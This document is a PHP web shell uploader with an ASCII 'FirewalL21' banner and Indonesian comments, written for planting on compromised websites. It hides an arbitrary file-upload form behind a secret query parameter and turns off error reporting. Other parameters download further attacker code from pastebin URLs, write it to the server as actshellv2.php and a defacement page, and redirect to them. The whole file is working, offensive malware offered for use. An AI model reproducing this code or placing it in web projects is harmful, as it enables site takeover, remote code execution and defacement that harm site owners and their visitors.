hidden uploader GET SHELL

<?php
// hiden shell upload
// akses file.php?cmd=shell
 error_reporting(0);
 $cmd  = $_GET['cmd'];
 $post  = $_POST["upload"];
 $target_file= basename($_FILES["m_upload"]["name"]);
 if($cmd=='shell')
 {
?>
<html>
<head>
<title>FirewalL21</title>
<meta name='author' content='0x1999'>
<meta charset="UTF-8">
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Abel);
html {
    background: #000000;
    color: #ffffff;
    font-family: 'Abel';
    font-size: 13px;
    width: 100%;
}
</style>
<center>
<header>
<pre style="text-align: center"><font color="magenta">
 ███████╗██╗██████╗ ███████╗██╗    ██╗ █████╗ ██╗     ██╗     ██████╗  ██╗
██╔════╝██║██╔══██╗██╔════╝██║    ██║██╔══██╗██║     ██║     ╚════██╗███║
█████╗  ██║██████╔╝█████╗  ██║ █╗ ██║███████║██║     ██║      █████╔╝╚██║
██╔══╝  ██║██╔══██╗██╔══╝  ██║███╗██║██╔══██║██║     ██║     ██╔═══╝  ██║
██║     ██║██║  ██║███████╗╚███╔███╔╝██║  ██║███████╗███████╗███████╗ ██║
╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝
</pre></header></head></html>
<?php
  echo "<form action='' method='post' enctype='multipart/form-data'>
";
  echo "<input type='file' name='m_upload'>";
  echo "<input type='submit' name='upload' value='Upload'>";
  echo "</form>
";
  echo "</center>
";
 }

 if(isset($_POST["upload"]))
  {
   if(move_uploaded_file($_FILES["m_upload"]["tmp_name"], $target_file))
  {
   echo "<center>
upload sukses !!</center>
";
   header("location:$target_file");
 }
}


if(isset($_GET["shell"])){
$anak1 = file_get_contents("https://pastebin.com/raw/bBiCZAxB");
$nggawe1 = fopen("actshellv2.php","w") or die ("gabisa bro");
fwrite($nggawe1,$anak1);
fclose($nggawe1);
header ("Location:actshellv2.php");
chmod("actshellv2.php",0644);}
//////////////////////////////
if(isset($_GET["deface"])){
$anak = file_get_contents("https://pastebin.com/raw/HymYrpHG");
$nggawe = fopen("firewall21.htm","w") or die ("gabisa bro");
fwrite($nggawe,$anak);
fclose($nggawe);
header ("Location:firewall21.htm");}
?>